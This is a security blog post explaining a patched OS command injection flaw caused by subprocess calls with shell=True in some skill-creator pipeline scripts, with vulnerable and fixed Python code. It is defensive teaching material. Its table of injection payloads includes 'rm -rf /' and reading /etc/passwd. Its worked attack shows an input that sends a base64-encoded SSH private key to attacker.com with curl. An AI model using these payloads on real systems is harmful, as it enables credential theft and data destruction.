Back to Blog
critical SEVERITY8 min read

Command Injection via shell=True: How One Flag Opens the Door to OS Takeover

A critical command injection vulnerability (CWE-78) was discovered and patched in the skill-creator pipeline, where Python scripts passed unsanitized user input directly to subprocess calls with `shell=True`, allowing attackers to execute arbitrary operating system commands. This fix closes a dangerous attack vector that could have enabled full system compromise, data exfiltration, and lateral movement within affected environments. Understanding how this vulnerability works — and how to prevent

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 9, 2026•Reviewed June 3, 2026

Answer Summary

Command injection (CWE-78) in Python occurs when unsanitized user input is passed to subprocess calls with `shell=True`, allowing attackers to inject arbitrary OS commands. The skill-creator pipeline was vulnerable because it directly concatenated user input into shell commands without validation. The fix removes `shell=True` and uses a list-based argument structure, which prevents shell metacharacter interpretation and ensures user input is treated as data, not executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixRemove shell=True and use list-based argument passing with proper input validation
riskRemote Code Execution, system compromise, data exfiltration, lateral movement
languagePython
root causePassing unsanitized user input to subprocess with shell=True enabled
vulnerabilityCommand Injection via shell=True

Vulnerability: CWE-78 — OS Command Injection
Severity: 🔴 Critical
Affected Files: run_eval.py, improve_description.py, generate_review.py
Status: ✅ Patched


Introduction

There's a deceptively innocent-looking parameter in Python's subprocess module that has been responsible for countless critical security vulnerabilities: shell=True. When combined with user-supplied input, this single flag can transform a routine script execution into a full operating system takeover.

This post breaks down a recently patched critical vulnerability found in the skill-creator pipeline — a real-world example of how shell=True and unsanitized input create a perfect storm for command injection attacks. Whether you're a seasoned backend engineer or a developer just getting started with Python scripting, understanding this class of vulnerability is non-negotiable in today's threat landscape.


The Vulnerability Explained

What Is Command Injection?

OS Command Injection (CWE-78) occurs when an application passes user-controlled data to a system shell without proper sanitization. The shell — whether bash, sh, cmd.exe, or others — interprets special characters as control operators, not as literal data. This means an attacker can "break out" of the intended command and inject their own.

In Python, the danger zone looks like this:

# ❌ VULNERABLE: shell=True with user input
import subprocess

user_input = request.args.get("skill_name")
subprocess.Popen(f"run_eval --skill {user_input}", shell=True)

When shell=True is set, Python hands the entire string to the operating system shell for interpretation. The shell doesn't know or care which parts were "intended" by the developer — it processes everything according to its own syntax rules.

How Does the Shell Interpret Special Characters?

The OS shell recognizes a variety of characters as command operators:

Character Shell Meaning Example Attack
; Command separator skill; rm -rf /
\| Pipe output to next command skill \| curl attacker.com
&& Run next if previous succeeds skill && cat /etc/passwd
\|\| Run next if previous fails skill \|\| whoami
` Command substitution skill`id`
$() Command substitution skill$(cat ~/.ssh/id_rsa)
> Redirect output skill > /tmp/backdoor.sh

The Vulnerable Code Pattern

In the skill-creator pipeline, three scripts were identified as invoking subprocess.Popen or subprocess.run with shell=True while incorporating user-supplied CLI arguments directly into the command string:

# ❌ VULNERABLE pattern (simplified illustration)
import subprocess
import sys

skill_path = sys.argv[1]  # User-controlled input from CLI argument

# The entire string is passed to the shell — shell=True is the culprit
result = subprocess.Popen(
    f"python evaluate.py --input {skill_path}",
    shell=True,
    stdout=subprocess.PIPE
)

This pattern appeared across:
- resources/skills/skill-creator/scripts/run_eval.py (line 85)
- resources/skills/skill-creator/scripts/improve_description.py
- resources/skills/skill-creator/eval-viewer/generate_review.py

A Concrete Attack Scenario

Let's make this tangible. Imagine a developer runs the skill evaluation pipeline and the skill_path argument is sourced from an external input — a config file, an API response, a web form, or even a crafted filename:

Normal input:

/home/user/skills/my_skill

Malicious input:

/home/user/skills/my_skill; curl -s https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa | base64) &

The shell now executes two commands:
1. python evaluate.py --input /home/user/skills/my_skill ← intended
2. curl -s https://attacker.com/exfil?data=<base64-encoded SSH private key> ← injected

In a CI/CD pipeline or automated evaluation environment, this could lead to:

  • 🔑 Credential theft — SSH keys, API tokens, environment variables
  • 🗂️ Data exfiltration — source code, model weights, proprietary datasets
  • 🚪 Backdoor installation — persistent access via reverse shells
  • 💣 Destructive actions — file deletion, service disruption
  • 🌐 Lateral movement — pivoting to other systems on the network

The impact is classified as Critical because successful exploitation grants the attacker the same OS-level privileges as the process running the script — with no authentication required beyond the ability to influence the input.


The Fix

The Core Principle: Never Use shell=True with User Input

The fix involves two complementary changes:

  1. Remove shell=True — pass commands as a list instead of a string
  2. Validate and sanitize inputs — never trust external data

Before vs. After

❌ Before (Vulnerable):

import subprocess
import sys

skill_path = sys.argv[1]

# shell=True interprets the entire string through the OS shell
result = subprocess.Popen(
    f"python evaluate.py --input {skill_path}",
    shell=True,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

✅ After (Fixed):

import subprocess
import sys
import shlex
import os

skill_path = sys.argv[1]

# Validate the input before use
if not os.path.exists(skill_path):
    raise ValueError(f"Invalid skill path: {skill_path}")

# Pass as a list — no shell interpretation, no injection possible
result = subprocess.Popen(
    ["python", "evaluate.py", "--input", skill_path],
    shell=False,  # explicit is better than implicit
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

Why Does the List Form Prevent Injection?

When you pass a list to subprocess.Popen (without shell=True), Python uses execvp (on Unix) or CreateProcess (on Windows) to launch the process directly. Each list element becomes a discrete argument — the OS never invokes a shell to interpret the string.

This means special characters like ;, |, and $() are passed literally to the target program as part of an argument value. They have no special meaning. The attack surface disappears entirely.

# These are equivalent in intent, but VERY different in security:

# ❌ Shell interprets the string — injection possible
subprocess.run(f"echo {user_input}", shell=True)

# ✅ OS passes arguments directly — injection impossible
subprocess.run(["echo", user_input], shell=False)

When shell=True Is Genuinely Needed

Occasionally, shell features like glob expansion (*.txt), shell built-ins (cd, export), or pipe chaining are legitimately required. In those cases:

import shlex

# shlex.quote() wraps the value in single quotes and escapes internal quotes
safe_input = shlex.quote(user_input)
subprocess.run(f"some_command {safe_input}", shell=True)

However, shlex.quote() should be considered a last resort, not a first line of defense. Eliminating shell=True is always the preferred approach.


Conclusion

The shell=True vulnerability pattern is a textbook example of how a single, seemingly convenient parameter can introduce catastrophic security risk. The fix is straightforward — switch from string-based to list-based subprocess calls — but the lesson runs deeper: never trust user input, and always understand the security implications of the APIs you use.

Key takeaways from this vulnerability:

  1. shell=True + user input = command injection. This is one of the most reliable rules in application security.
  2. The fix is simple but the impact of not fixing it is severe — Critical-severity vulnerabilities like this can lead to full system compromise.
  3. Defense in depth matters — Input validation, least privilege, and static analysis together create multiple layers of protection.
  4. Automated scanning catches what code review misses — Integrate tools like Bandit and Semgrep into your pipeline before code ships.

Security vulnerabilities like this one are rarely the result of malicious intent — they're the product of convenience, time pressure, and incomplete understanding of a platform's security model. The best defense is education, tooling, and a culture that treats security as a first-class concern alongside functionality and performance.

Write safe code. Review with security in mind. And when in doubt, check the docs for the security implications of every parameter you set.


This post was generated as part of an automated security fix workflow by OrbisAI Security. The vulnerability was identified by multi-agent AI scanning, patched, and verified through re-scan and LLM code review.

Have a vulnerability you'd like explained? Security education is the first line of defense.

Prevention and further reading

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.